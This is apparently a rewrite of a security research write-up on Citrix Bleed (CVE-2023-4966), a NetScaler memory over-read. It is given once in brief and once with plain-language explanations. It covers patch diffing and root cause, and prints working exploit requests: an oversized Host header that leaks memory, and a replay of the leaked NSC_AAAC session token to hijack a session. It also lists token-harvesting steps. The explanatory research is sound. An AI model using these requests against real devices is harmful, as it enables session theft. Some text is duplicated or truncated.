Citrix Bleed: Leaking Session Tokens with CVE-2023-4966
Published on assetnote.io
It's time for another round Citrix Patch Diffing! Earlier this month Citrix released a security bulletin which mentioned "unauthenticated buffer-related vulnerabilities" and two CVEs.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Citrix NetScaler is a network device that provides load balancing, firewall and VPN services. NetScaler Gateway usually refers to the VPN and authentication components, while ADC refers to the load balancing and traffic management features. Earlier this month Citrix released a security bulletin mentioning "unauthenticated buffer-related vulnerabilities" and two CVEs affecting NetScaler ADC and NetScaler Gateway.
The interesting one was CVE-2023-4966, described as "sensitive information disclosure" with a CVSS score of 9.4. A high score for an information disclosure issue, combined with the mention of buffer-related vulnerabilities, made it worth understanding. The goal was to understand the vulnerability and develop a check for the Attack Surface Management platform.
The affected feature is the OpenID Connect Discovery endpoint. Two functions implement it, ns_aaa_oauth_send_openid_config and ns_aaa_oauthrp_send_openid_config, reachable unauthenticated via /oauth/idp/.well-known/openid-configuration and /oauth/rp/.well-known/openid-configuration respectively. The endpoint generates a JSON document describing the OpenID configuration, inserting the device's hostname into the payload at several locations.
Setup
Two versions were installed and configured for comparison: 13.1-49.15 and 13.1-48.47. From previous work with NetScaler, the place to look was the /netscaler/nsppe binary. This is the NetScaler Packet Processing Engine, and it contains a full TCP/IP network stack as well as multiple HTTP services. If there is a vulnerability in NetScaler, this is where to look first.
Both versions of nsppe were decompiled with Ghidra, and the BinExport extension was used to create a BinDiff file. This process takes a while as the binaries are quite large. To ensure success, the decompiler settings under Edit -> Tool Options -> Decompiler were tweaked to the following:
- Cache Size (Functions): 2048
- Decompiler Max-Payload (Mbytes): 512
- Decompiler Timeout (seconds): 900
- Max Instructions per Function: 3000000
Finding it
After creating the BinDiff files and opening them for comparison, roughly 50 functions had changed. Each one was checked, often opening both versions in Ghidra and comparing the decompiled output with a text diffing tool.
Two functions stood out: ns_aaa_oauth_send_openid_config and ns_aaa_oauthrp_send_openid_config. Both perform a similar operation, implementing the OpenID Connect Discovery endpoint, and both are accessible unauthenticated via /oauth/idp/.well-known/openid-configuration and /oauth/rp/.well-known/openid-configuration respectively.
Both functions included the same patch: an additional bounds check before sending the response. The before and after for ns_aaa_oauth_send_openid_config are shown below.
Original
iVar3 = snprintf(print_temp_rule,0x20000,
"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
Patched
uVar7 = snprintf(print_temp_rule,0x20000,
"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
...
}
The function is simple: it generates a JSON payload for the OpenID configuration and uses snprintf to insert the device's hostname at the appropriate locations in the payload. In the original version, the response is sent immediately. In the patched version, the response is only sent if snprintf returns a value less than 0x20000.
The vulnerability occurs because the return value of snprintf is used to determine how many bytes are sent to the client by ns_vpn_send_response. This is a problem because snprintf does not return how many bytes it did write to the buffer; snprintf returns how many bytes it would have written to the buffer if the buffer was big enough.
To exploit this, all that was needed was to figure out how to get the response to exceed the buffer size of 0x20000 bytes. The application would then respond with the completely filled buffer, plus whatever memory immediately followed the print_temp_rule buffer.
Exploitation
Step 1: Find a controllable input that reaches the buffer
Initially the endpoint was assumed to be probably not exploitable. The only data inserted was the hostname, which is something that needs administrator access to configure. That assumption was wrong: the value inserted into the payload did not come from the configured hostname. It actually came from the HTTP Host header.
It was also fortunate that NetScaler inserts the hostname into the payload six times, as this meant the buffer limit of 0x20000 bytes could be hit without running into issues because either the Host header or the whole request was too long.
Step 2: Send an oversized Host header
The following request was put together and sent to the NetScaler instance.
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
The Host header value is a single character repeated 24812 times. Because that value is substituted into the JSON payload six times, the total output exceeds the 0x20000 byte buffer, while the request itself stays within length limits.
Step 3: Read the leaked memory in the response
The response came back as shown below, with the non-printable characters removed.
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
[redacted]/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/
{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí
A lot of leaked memory was clearly visible immediately following the JSON payload. While much of it was null bytes, there was some suspicious looking information in the response, there was some suspicious looking information in the response.
Step 4: Verify the leaked session token
Since the print_temp_rule buffer is a static global, the response is the same every time. This made testing easy, as the request did not have to be run thousands of times in the hope of finding something. The 65-byte long hex string seen in the response could be reliably grabbed and verified as a valid session cookie by using it as the NSC_AAAC session cookie.
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: [redacted]
Cookie: NSC_AAAC=[redacted]
Content-Length: 0
Connection: close
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web
testuser1
The leaked value is sent as the NSC_AAAC cookie to the GetUserName endpoint. A 200 OK with a username in the body confirms that the token belongs to a valid session.
Not every NetScaler instance is configured to use the same kind of authentication, but in almost all of the instances tested, a 32 or 65 byte long hex string can be found at this location in the response.
Root cause
The mistake is a misuse of snprintf's return value. snprintf returns the number of bytes it would have written had the buffer been large enough, not the number of bytes actually written. The original code passes that return value straight to ns_vpn_send_response as the length to send, so when the formatted output exceeds the 0x20000 byte print_temp_rule buffer, the device sends the full buffer plus whatever memory follows it. The patched code checks that the return value is less than 0x20000 before sending anything.
A buffer overflow was avoided by using snprintf, but the subsequent buffer over-read was still an issue. As with previous issues in Citrix NetScaler, the impact was made worse by a lack of other defence in depth techniques and mitigations. Not clearing sensitive data from what appear to be temporary buffers, and stricter validation on client-provided data, are the two most obvious mitigations that could have been applied to minimise the damage.
Impact
An unauthenticated attacker can send a single request to the OpenID configuration endpoint and receive memory contents from the device in the response. In the tested instance this included a valid NSC_AAAC session token, which returned a username from the GetUserName endpoint. Because the buffer is a static global, the response is stable, so the leak can be reproduced reliably rather than by chance.
Whether a usable token appears depends on the instance: not every NetScaler is configured to use the same kind of authentication, though in almost all instances tested a 32 or 65 byte long hex string can be found at this location in the response.
Fix
Citrix patched both functions by adding a bounds check: the response is only sent if the snprintf return value is less than 0x20000. The two versions compared here were 13.1-49.15 and 13.1-48.47. Beyond the patch, the report points to clearing sensitive data from temporary buffers and applying stricter validation to client-provided data as mitigations that would reduce the damage from similar issues.
Variants to test
- Other
snprintflength uses. Look for code that passes ansnprintfreturn value directly as a send or copy length. - Other hostname substitution points. The same payload inserts the hostname six times.
- The second function.
ns_aaa_oauthrp_send_openid_configcarries the same patch and is reachable at/oauth/rp/.well-known/openid-configuration. - Token harvesting. After any leak, take 32 or 65 byte hex strings from the response and replay them as
NSC_AAACagainst/logon/LogonPoint/Authentication/GetUserName. A200 OKwith a username in the body confirms a live session. - Repeatability check.
What happened, in plain words
A company called Citrix makes a piece of networking equipment called NetScaler. Organisations put it in front of their websites and internal applications. It can spread incoming traffic across several servers (load balancing), filter it (firewall) and let staff connect to the office network from home (VPN). Two names are used for it: NetScaler ADC for the load balancing and traffic management side, and NetScaler Gateway for the VPN and login side. Think of it as the reception desk of a large building: every visitor passes it, it decides where they go, and it checks who they are.
In October 2023 Citrix published a security bulletin about two flaws in this product, described as "unauthenticated buffer-related vulnerabilities". "Unauthenticated" means an attacker does not need a username or password to trigger them. "Buffer-related" means the flaw lives in the way the software handles a chunk of memory it uses as scratch space. The bulletin gave each flaw a CVE number, which is a public identifier for a known vulnerability, like a case number for a bug.
The interesting one was CVE-2023-4966, described as "sensitive information disclosure" with a CVSS score of 9.4. CVSS is a standard 0 to 10 scale for how serious a vulnerability is. A score of 9.4 is very high. "Information disclosure" means the flaw leaks data the attacker should not see. A high score for something that only leaks data is unusual, and that is what made the researchers look closer. Their goal was to understand the flaw and build a check for their Attack Surface Management platform, a service that scans a customer's internet-facing systems and reports what is exposed.
The affected feature is the OpenID Connect Discovery endpoint. OpenID Connect is a widely used login standard: it lets one website trust another to confirm who a user is. "Discovery" is a small public document that a service publishes so other systems can find out how to talk to it, for example where its login and token pages live. It is meant to be readable by anyone, so it is served without a login. Two internal functions implement it, ns_aaa_oauth_send_openid_config and ns_aaa_oauthrp_send_openid_config, reachable unauthenticated via /oauth/idp/.well-known/openid-configuration and /oauth/rp/.well-known/openid-configuration respectively. The endpoint builds a JSON document (a structured text format that programs exchange) describing the OpenID configuration, and it inserts the device's hostname into that document at several places. The hostname is the name the device knows itself by, such as login.example.com.
Setup
To find out what Citrix changed, the researchers compared two versions of the software: the one before the fix and the one after. This technique is called patch diffing. If you have two versions of a recipe and one has an extra safety step, comparing them tells you what problem the cook was worried about. Here the two versions were 13.1-49.15 and 13.1-48.47.
From previous work with NetScaler, they knew the place to look was the /netscaler/nsppe binary. A binary is a compiled program file, the machine-readable form of software. This one is the NetScaler Packet Processing Engine, and it contains a full TCP/IP network stack (the code that speaks internet protocols) as well as multiple HTTP services (the code that answers web requests). If there is a vulnerability in NetScaler, this is where to look first, because it is the part that touches incoming traffic.
Both versions of nsppe were decompiled with Ghidra. Ghidra is a free reverse-engineering tool. The BinExport extension was used to create a BinDiff file, which is a format that lets a comparison tool line up functions between two binaries and highlight the ones that differ. This process takes a while as the binaries are quite large. To ensure success, the decompiler settings under Edit -> Tool Options -> Decompiler were tweaked to the following:
- Cache Size (Functions): 2048
- Decompiler Max-Payload (Mbytes): 512
- Decompiler Timeout (seconds): 900
- Max Instructions per Function: 3000000
These are resource limits for the decompiler. A large program has thousands of functions, and the tool needs enough memory and time to process each one without giving up partway through. Raising the cache, payload size, timeout and instruction limit makes the analysis complete rather than partial.
Finding it
After creating the BinDiff files and opening them for comparison, roughly 50 functions had changed. Each one was checked, often opening both versions in Ghidra and comparing the decompiled output with a text diffing tool. A text diffing tool shows two pieces of text side by side and marks the lines that differ, the same way a word processor can compare two drafts.
Two functions stood out: ns_aaa_oauth_send_openid_config and ns_aaa_oauthrp_send_openid_config. Both perform a similar operation, implementing the OpenID Connect Discovery endpoint, and both are accessible unauthenticated via /oauth/idp/.well-known/openid-configuration and /oauth/rp/.well-known/openid-configuration respectively. Both were touched by the same fix and both are reachable without logging in.
Both functions included the same patch: an additional bounds check before sending the response. A bounds check is a test that a value is within an allowed range before it is used. The before and after for ns_aaa_oauth_send_openid_config are shown below.
Original
iVar3 = snprintf(print_temp_rule,0x20000,
"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
Line by line:
iVar3 = snprintf(print_temp_rule,0x20000,starts a call tosnprintf. This is a standard C library function that builds a piece of text from a template. Its first argument,print_temp_rule, is the memory buffer where the result is written. Its second argument,0x20000, is the size of that buffer in bytes.0x20000is hexadecimal for 131072, so the scratch space is 128 kilobytes. The result of the call is stored iniVar3.- The long quoted string is the template. It is a JSON document with placeholders. The
%.*ssequences are where the hostname gets inserted, and there are six of them, one for each URL in the document. The backslashes are escapes that let a double quote appear inside a quoted string. - The arguments after the template,
uVar5,pbVar8repeated six times, supply each placeholder:uVar5is a length andpbVar8points at the hostname text. The.*in the placeholder means the length comes from the argument list rather than from the string itself. authv2_json_resp = 1;sets a flag recording that the response is a JSON response.iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);sends the response to the client.param_1identifies the connection,0x100040is a flags value,print_temp_ruleis the buffer to send, andiVar3is how many bytes to send. That last argument is the whole problem: it is the valuesnprintfreturned.
Patched
uVar7 = snprintf(print_temp_rule,0x20000,
"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
...
}
Line by line:
- The
snprintfcall is identical to the original, except the result is stored inuVar7instead ofiVar3. uVar4 = 0x20;assigns a constant, 32 in decimal, to another variable. It is not used in the lines shown.if (uVar7 < 0x20000) {is the new bounds check. It asks whether the valuesnprintfreturned is smaller than the buffer size. Only if that is true does the code inside the braces run.- Inside the braces, the flag is set and
ns_vpn_send_responseis called withuVar7as the length, exactly as before. If the check fails, nothing is sent. - The
...stands for further code that the report does not show.
The function is simple: it generates a JSON payload for the OpenID configuration and uses snprintf to insert the device's hostname at the appropriate locations in the payload. In the original version, the response is sent immediately. In the patched version, the response is only sent if snprintf returns a value less than 0x20000.
The vulnerability occurs because the return value of snprintf is used to determine how many bytes are sent to the client by ns_vpn_send_response. This is a problem because snprintf does not return how many bytes it did write to the buffer; snprintf returns how many bytes it would have written to the buffer if the buffer was big enough. Picture a form that only has room for ten words. You write a twenty-word answer. The form holds the first ten words, but the clerk writes "twenty words" on the envelope and posts the whole page, including whatever was printed on the back. The recipient gets your ten words plus someone else's printing.
To exploit this, all that was needed was to figure out how to get the response to exceed the buffer size of 0x20000 bytes. The application would then respond with the completely filled buffer, plus whatever memory immediately followed the print_temp_rule buffer. Memory is reused constantly by running programs, so the bytes after a scratch buffer often contain leftovers from earlier work: names, tokens, fragments of other responses.
Exploitation
Step 1: Find a controllable input that reaches the buffer
Initially the endpoint was assumed to be probably not exploitable. The only data inserted was the hostname, which is something that needs administrator access to configure. If only an administrator could set the value, the flaw would be far less serious, because an administrator already has wide control over the device. That assumption was wrong: the value inserted into the payload did not come from the configured hostname. It actually came from the HTTP Host header. The Host header is a line every browser sends with each request to say which website name it is asking for, because one server can host many names. It is supplied by the client, so anyone can set it to anything.
It was also fortunate that NetScaler inserts the hostname into the payload six times, as this meant the buffer limit of 0x20000 bytes could be hit without running into issues because either the Host header or the whole request was too long. Six copies mean each copy only needs to be about a sixth of that.
Step 2: Send an oversized Host header
The following request was put together and sent to the NetScaler instance.
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
Line by line:
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1is the request line.GETasks for a page, the path is the OpenID Discovery endpoint, andHTTP/1.1is the protocol version.Host: a <repeated 24812 times>is the header that names the site. The value is the letterarepeated 24812 times. The angle-bracket note is the report's shorthand for that repetition, not literal text.Connection: closetells the server to close the connection after answering, so the response has a clear end.
The Host header value is a single character repeated 24812 times. Because that value is substituted into the JSON payload six times, the total output exceeds the 0x20000 byte buffer, while the request itself stays within length limits.
Step 3: Read the leaked memory in the response
The response came back as shown below, with the non-printable characters removed.
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
[redacted]/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/
{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí
Line by line:
HTTP/1.1 200 OKis the status line.200means the request succeeded.X-Content-Type-Options: nosniffandX-XSS-Protection: 1; mode=blockare security headers that tell the browser not to guess content types and to block some script injection.Content-Length: 147441says the body is 147441 bytes long. That is larger than the 131072-byte buffer, which is the first visible sign of the over-read.Cache-control: no-cache, no-store, must-revalidateandPragma: no-cachetell browsers and proxies not to store the response.Content-Type: application/json; charset=utf-8says the body is JSON text.X-Citrix-Application: Receiver for Webidentifies the Citrix component answering.- The blank line separates headers from body.
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡is the start of the JSON document. Theacharacters are the repeatedHostvalue. The...<omitted>...is the report's shorthand for the long run ofacharacters it did not print. The odd characters after them are the beginning of memory that was never meant to be sent.í§¡-ª¼tÙÌåDx013.1.48.47àcontains the version string[redacted].[redacted]is a long hex string. Hex means hexadecimal, a way of writing bytes using the characters 0 to 9 and a to f. This one looks like a session token.HTTP/1.1 200 OKfollowed byContent-Length: @@@@@,Encode:@@@,Cache-control: no-cache,Pragma: no-cache,Content-Type: text/htmland aSet-Cookie: NSC_AAAC=...line is a fragment of a completely different HTTP response that was previously handled by the device and left in memory.{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}is another leftover JSON document from earlier traffic.- The remaining lines are further fragments of memory.
A lot of leaked memory was clearly visible immediately following the JSON payload. While much of it was null bytes, there was some suspicious looking information in the response, including what appears to be a session cookie value and fragments of other HTTP responses held in memory. A session cookie is a small piece of data a server gives a browser after login so it can recognise the browser on later requests without asking for the password again. Anyone who holds a valid session cookie can act as that user until it expires.
Step 4: Verify the leaked session token
Since the print_temp_rule buffer is a static global, the response is the same every time. A static global is a piece of memory that exists once for the whole program and is not recreated per request, so its contents persist between requests. This made testing easy, as the request did not have to be run thousands of times in the hope of finding something. The 65-byte long hex string seen in the response could be reliably grabbed and verified as a valid session cookie by using it as the NSC_AAAC session cookie. NSC_AAAC is the name NetScaler uses for its session cookie.
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: [redacted]
Cookie: NSC_AAAC=[redacted]
Content-Length: 0
Connection: close
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web
testuser1
Line by line:
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1is a request that asks the device for the name of the logged-in user.POSTis a method used when the request may carry data or cause an action.Host: [redacted]names the device by its address on the local network.Cookie: NSC_AAAC=[redacted]presents the leaked token as the session cookie. The browser normally sends this line automatically; here it is set by hand.Content-Length: 0says the request body is empty.Connection: closecloses the connection after the response.- The blank line ends the request headers.
HTTP/1.1 200 OKis the status line of the reply.- The security and cache headers repeat the pattern seen before.
Content-Length: 4says the body is four bytes, which matches the four characters of the username.Content-Type: text/plain; charset=utf-8says the body is plain text.testuser1is the body: the username the device believes is logged in. That is the proof the token is live.
The leaked value is sent as the NSC_AAAC cookie to the GetUserName endpoint. A 200 OK with a username in the body confirms that the token belongs to a valid session.
Not every NetScaler instance is configured to use the same kind of authentication, but in almost all of the instances tested, a 32 or 65 byte long hex string can be found at this location in the response.
Root cause
The mistake is a misuse of snprintf's return value. snprintf returns the number of bytes it would have written had the buffer been large enough, not the number of bytes actually written. The original code passes that return value straight to ns_vpn_send_response as the length to send, so when the formatted output exceeds the 0x20000 byte print_temp_rule buffer, the device sends the full buffer plus whatever memory follows it. The patched code checks that the return value is less than 0x20000 before sending anything.
A buffer overflow was avoided by using snprintf, but the subsequent buffer over-read was still an issue. A buffer overflow is when a program writes past the end of its scratch space and corrupts neighbouring memory. A buffer over-read is when it reads past the end and sends or uses neighbouring memory. snprintf is the safer version of the older sprintf, which does not take a size limit at all, so it prevented the write-side problem. It did not prevent the read-side one, because the code trusted the number it returned.
As with previous issues in Citrix NetScaler, the impact was made worse by a lack of other defence in depth techniques and mitigations. Defence in depth means layering several independent protections so that one mistake does not become a full breach. Not clearing sensitive data from what appear to be temporary buffers, and stricter validation on client-provided data, are the two most obvious mitigations that could have been applied to minimise the damage.
Impact
An unauthenticated attacker can send a single request to the OpenID configuration endpoint and receive memory contents from the device in the response. In the tested instance this included a valid NSC_AAAC session token, which returned a username from the GetUserName endpoint. Because the buffer is a static global, the response is stable, so the leak can be reproduced reliably rather than by chance.
Whether a usable token appears depends on the instance: not every NetScaler is configured to use the same kind of authentication, though in almost all instances tested a 32 or 65 byte long hex string can be found at this location in the response.
Fix
Citrix patched both functions by adding a bounds check: the response is only sent if the snprintf return value is less than 0x20000. The two versions compared here were 13.1-49.15 and 13.1-48.47. Beyond the patch, the report points to clearing sensitive data from temporary buffers and applying stricter validation to client-provided data as mitigations that would reduce the damage from similar issues.
Variants to test
- Other
snprintflength uses. Look for code that passes ansnprintfreturn value directly as a send or copy length. A positive result is a response whoseContent-Lengthis larger than the buffer size used in the format call, with bytes after the expected payload. - Other hostname substitution points. The same payload inserts the hostname six times. Test other endpoints that reflect the
Hostheader into a fixed buffer, and check whether an oversizedHostvalue changes the response length beyond the expected document. - The second function.
ns_aaa_oauthrp_send_openid_configcarries the same patch and is reachable at/oauth/rp/.well-known/openid-configuration. A positive result is the same over-read behaviour on that path. - Token harvesting. After any leak, take 32 or 65 byte hex strings from the response and replay them as
NSC_AAACagainst/logon/LogonPoint/Authentication/GetUserName. A200 OKwith a username in the body confirms a live session. - Repeatability check. Send the same request twice and compare responses. Identical leaked bytes indicate a static buffer, which makes the leak reliable rather than probabilistic.
Glossary
- ADC: Application Delivery Controller, the part of NetScaler that handles load balancing and traffic management.
- Attack Surface Management platform: a service that scans an organisation's internet-facing systems and reports what is exposed.
- Binary: a compiled program file that the computer runs directly.
- BinDiff: a tool and file format that compares two binaries and highlights the functions that differ.
- BinExport: an extension for Ghidra that exports a binary in a form BinDiff can read.
- Bounds check: a test that a value is within an allowed range before it is used.
- Buffer: a fixed-size area of memory a program uses as scratch space.
- Buffer overflow: writing past the end of a buffer and corrupting neighbouring memory.
- Buffer over-read: reading past the end of a buffer and using or sending neighbouring memory.
- C: a widely used programming language, common in system software.
- Content-Length: an HTTP header stating the size of the response body in bytes.
- Cookie: a small piece of data a server gives a browser so it can recognise it on later requests.
- CVE: a public identifier for a known vulnerability, like a case number.
- CVSS: a standard 0 to 10 scale for the severity of a vulnerability.
- Decompiling: turning a compiled binary back into something resembling readable source code.
- Defence in depth: layering several independent protections so one mistake does not become a full breach.
- Discovery endpoint: a public document a service publishes so other systems can find out how to talk to it.
- Firewall: a device or program that filters network traffic according to rules.
- GET: an HTTP method that asks for a page or resource.
- Ghidra: a free reverse-engineering tool that can decompile binaries.
- Hex / hexadecimal: a way of writing bytes using the characters 0 to 9 and a to f.
- Host header: an HTTP header in which the client names the website it is asking for.
- HTTP: the protocol browsers and servers use to exchange web requests and responses.
- Information disclosure: a flaw that leaks data the attacker should not see.
- JSON: a structured text format that programs use to exchange data.
- Load balancing: spreading incoming traffic across several servers.
- NetScaler: Citrix's networking device for load balancing, firewall and VPN.
- NetScaler Gateway: the VPN and authentication part of NetScaler.
- nsppe: the NetScaler Packet Processing Engine, the binary that contains the network stack and HTTP services.
- NSC_AAAC: the name NetScaler uses for its session cookie.
- Null byte: a byte with the value zero, often used to mark unused memory.
- OpenID Connect: a widely used login standard that lets one website trust another to confirm who a user is.
- Patch diffing: comparing two versions of software to see what a fix changed.
- POST: an HTTP method used when a request may carry data or cause an action.
- Session token: a value that proves a user is logged in, sent with each request instead of a password.
- snprintf: a C library function that builds text from a template into a size-limited buffer and returns the length it would have needed.
- sprintf: the older C function that builds text from a template with no size limit.
- Static global: a piece of memory that exists once for the whole program and persists between requests.
- TCP/IP network stack: the code that speaks internet protocols.
- Unauthenticated: reachable without a username or password.
- VPN: a private network connection over the internet, used to reach an office network from elsewhere.